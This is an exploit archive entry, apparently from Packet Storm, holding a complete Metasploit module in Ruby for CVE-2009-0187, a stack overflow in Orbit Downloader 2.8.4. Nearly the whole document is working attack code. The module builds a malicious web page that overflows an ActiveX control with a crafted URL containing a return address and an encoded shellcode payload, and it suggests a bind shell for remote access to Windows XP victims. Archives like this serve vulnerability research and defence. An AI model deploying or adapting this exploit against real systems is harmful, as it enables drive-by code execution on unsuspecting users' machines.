Orbit Downloader Connecting Log Creation Buffer Overflow

2009-11-26T00:00:00
ID PACKETSTORM:83105
Type packetstorm
Reporter MC
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Orbit Downloader 2.8.4. When an  
attacker serves up a malicious web site, abritrary code may be executed.  
The PAYLOAD windows/shell_bind_tcp works best.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2009-0187' ],  
[ 'OSVDB', '52294' ],  
[ 'BID', '33894' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x09\x0a\x0d'\\&",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-SP2', { 'Ret' => 0x1008dee3 } ], # download.dll 2.7.0.6  
],  
'DisclosureDate' => 'Feb 3 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = "http://" + rand_text_alpha(508) + [target.ret].pack('V') + p.encoded + ".com"  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`